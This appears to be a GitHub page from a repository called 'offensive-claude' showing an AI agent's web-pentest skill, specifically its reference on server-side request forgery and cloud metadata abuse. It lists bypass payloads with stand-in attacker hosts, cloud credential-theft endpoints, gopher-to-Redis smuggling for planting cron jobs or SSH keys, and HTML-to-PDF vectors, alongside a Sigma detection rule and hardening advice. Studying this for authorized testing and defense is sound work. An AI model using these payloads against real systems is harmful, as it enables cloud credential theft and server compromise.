hypnguyen1209/offensive-claude / skills/web-pentest
web-pentest
FlaggedUse when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 12.0 KB |
| references/auth-api-access-control.md | markdown | 14.9 KB |
| references/business-logic-abuse.md | markdown | 5.2 KB |
| references/http-desync-cache.md | markdown | 8.6 KB |
| references/injection-sqli-cmdi.md | markdown | 10.0 KB |
| references/proxy-mcp-integration.md | markdown | 3.1 KB |
| references/ssrf-cloud-metadata.md | markdown | 6.7 KB |
| references/ssti-deserialization.md | markdown | 7.0 KB |
| references/waf-bypass.md | markdown | 7.0 KB |
| references/xss-csp-clientside.md | markdown | 7.9 KB |
| references/xxe.md | markdown | 6.9 KB |
| scripts/desync_probe.py | script | 8.3 KB |
| scripts/graphql_audit.py | script | 6.2 KB |
| scripts/jwt_forge.py | script | 8.2 KB |
| scripts/proto_ssti_gadgets.py | script | 8.1 KB |
| scripts/race_single_packet.py | script | 5.4 KB |
| scripts/session_entropy.py | script | 7.9 KB |
| scripts/ssrf_toolkit.py | script | 8.3 KB |
| scripts/xss_csp_forge.py | script | 8.1 KB |
references/ssrf-cloud-metadata.md
View on GitHub# SSRF & Cloud Metadata Abuse
Cluster: Server-Side Request Forgery (CWE-918), filter/parser-confusion bypass,
cloud instance-metadata credential theft, IMDSv2 realities, and HTML-to-PDF
protocol-switch vectors. Backing tool: `scripts/ssrf_toolkit.py`. ATT&CK:
T1190 (Exploit Public-Facing App), T1552.005 (Cloud Instance Metadata API),
T1557 (Adversary-in-the-Middle for internal pivots).
## Theory / Mechanism
SSRF makes the server issue attacker-controlled requests. Impact tiers: (1) port
scan / internal service access, (2) read internal HTTP (admin panels, dashboards),
(3) credential theft from the cloud metadata endpoint `169.254.169.254`, (4) RCE
via gopher/redis/internal-service smuggling. The defining 2024-2026 trend is that
SSRF now frequently appears **without a URL parameter** — Host-header/route
mismatches in frameworks make the server fetch internal targets (see Next.js
below) — and IMDSv2 has shifted the bar without eliminating the risk.
## Bypass Corpus
```
python3 scripts/ssrf_toolkit.py payloads --target 169.254.169.254
python3 scripts/ssrf_toolkit.py cloud --provider aws
python3 scripts/ssrf_toolkit.py gopher --redis "FLUSHALL" --redis "SET x 1"
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
```
```
http://127.0.0.1/ http://[::1]/ http://0x7f000001/ http://2130706433/ http://0/
http://attacker.tld@169.254.169.254/ # userinfo confusion
http://169.254.169.254#@evil.tld/ # fragment confusion
aaaa...(9000 a's)://169.254.169.254/ # long-scheme parser confusion (curl HackerOne #1049624)
http://169.254.169.254.nip.io/ # DNS-rebinding helper
file:///etc/passwd # local-file scheme
```
## Cloud Metadata Endpoints
```
# AWS IMDSv1 (only if v1 still enabled)
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
http://169.254.170.2/v2/credentials/ # ECS task role
# AWS IMDSv2 (needs PUT for token + custom GET header):
PUT /latest/api/token (X-aws-ec2-metadata-token-ttl-seconds: 21600)
GET /latest/meta-data/ (X-aws-ec2-metadata-token: <token>)
# GCP (header required)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
(Metadata-Flavor: Google)
# Azure (header required)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
(Metadata: true)
```
## gopher:// -> internal protocol smuggling
```
# Redis: write a cron job / SSH key via crafted RESP smuggled over gopher
gopher://127.0.0.1:6379/_<urlencoded RESP: SET, CONFIG SET dir, SAVE>
# Also: SMTP, FastCGI, internal HTTP POST with full headers+body
```
## Modern 2024-2026 Variants (verified)
- **CVE-2025-53767 — Azure OpenAI SSRF (CVSS 10.0)**: insufficient validation of
a user-supplied URL allowed retrieval of Azure managed-identity tokens, enabling
cross-tenant lateral movement. Patched by Microsoft.
- **CVE-2025-61882 — Oracle E-Business Suite**: SSRF chained to RCE, actively
exploited; CISA set an Oct 27 2025 patch deadline. Shows SSRF as an RCE primitive.
- **CVE-2024-34351 / CVE-2025-57822 — Next.js**: Host-header / resolve-routes
mismatch makes the framework treat a forged `Host` as authoritative when
proxying a server-side fetch, reaching internal services with **no URL
parameter accepted from the user**.
- **HTML-to-PDF / indirect protocol switching** — **CVE-2024-34112 (Adobe
ColdFusion)** showed a post-patch bypass where `file://` was blocked in the
initial fetch but not in `meta-refresh` targets inside attacker HTML;
**CVE-2025-51591** is the iframe-render variant. Pattern: any HTML-to-PDF
renderer that fetches external resources can be redirected to the metadata IP.
- **IMDSv2 bypass via prototype-pollution gadget (Axios GHSA-fvcv-3m26-pcqx,
CVSS 9.9, CWE-113)**: IMDSv2 normally blocks SSRF because the attacker cannot
set the `X-aws-ec2-metadata-token` header. If `Object.prototype` is polluted
anywhere in the dependency tree (qs/minimist/ini/body-parser), Axios merges the
polluted `headers` property into outbound requests — letting the attacker inject
the required IMDSv2 token header with **zero direct user input**. See the
prototype-pollution reference for the full chain.
```
python3 scripts/ssrf_toolkit.py payloads --target 169.254.169.254 # prints HTML-to-PDF vectors
```
```html
<meta http-equiv="refresh" content="0;url=http://169.254.169.254/latest/meta-data/">
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
```
## IMDSv2 Reality Check
IMDSv2 requires a PUT to mint a token then a custom header on every GET. Plain
SSRF (only GET, no custom headers) cannot do this -> IMDSv2 mitigates the common
case. It is **not** absolute: bypassable when (a) the app proxies PUT/custom
headers, (b) IMDSv1 is still enabled (backward-compat), or (c) a prototype-
pollution gadget like Axios injects the token header. Recommend hop-limit=1 and
IMDSv1 fully disabled as the defensive baseline.
## Detection (Blue Team)
IOCs: outbound requests to `169.254.169.254` / `metadata.google.internal` /
`169.254.170.2` from app servers; requests to RFC1918 from the web tier;
unusual `gopher://`, `dict://`, `file://` in params; long-scheme or
userinfo-laden URLs.
```yaml
title: SSRF to Cloud Metadata / Internal Range
logsource: { category: proxy }
detection:
meta:
c-uri|contains:
- '169.254.169.254'
- '169.254.170.2'
- 'metadata.google.internal'
internal:
cs-host|re: '^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|127\.|0\.0\.0\.0)'
condition: meta or internal
level: high
```
Cloud-side: alert on IMDS access from a process that normally never calls it;
GuardDuty `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration`; flag
credential use from an IP that is not the instance.
## OPSEC
- Blind-SSRF callbacks reveal your collaborator host in DNS/HTTP logs — rotate
subdomains, prefer DNS-only probes when you just need confirmation.
- Reading metadata credentials and then *using* them off-box triggers the
strongest cloud detections (credential-exfiltration analytics keyed on source
IP); if only validating SSRF, stop at proving token retrieval.
- gopher/redis smuggling that writes cron/SSH keys is persistence — out of scope
unless authorized; remember to clean keys/config writes.
- HTML-to-PDF vectors leave the malicious HTML in upload/render logs.
## References
- NVD: CVE-2025-53767 (Azure OpenAI), CVE-2025-61882 (Oracle EBS),
CVE-2024-34351 / CVE-2025-57822 (Next.js), CVE-2024-34112 (ColdFusion),
CVE-2025-51591.
- GitHub Security Advisory GHSA-fvcv-3m26-pcqx (Axios IMDSv2 header-injection gadget).
- AWS IMDSv2 documentation; F5 Labs "EC2 Instance Metadata via SSRF" campaign.
- PortSwigger Web Security Academy — SSRF.
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